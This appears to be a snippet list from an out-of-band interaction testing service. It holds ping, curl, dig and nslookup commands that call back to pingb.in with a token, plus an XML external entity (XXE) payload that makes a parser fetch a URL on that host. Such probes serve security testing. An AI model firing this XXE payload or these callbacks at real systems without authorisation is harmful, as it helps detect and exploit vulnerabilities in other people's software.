$ ping -c1 -p 001f907d021b96553a7c7fa450e92a00 pingb.in
 

$ curl pingb.in/p/1f907d021b96553a7c7fa450e92a
 

$ dig 1f907d021b96553a7c7fa450e92a @pingb.in
 

$ dig 1f907d021b96553a7c7fa450e92a.ns.pingb.in
 

C:\> nslookup 1f907d021b96553a7c7fa450e92a pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/1f907d021b96553a7c7fa450e92a">]>
    <foo>&xxe;</foo>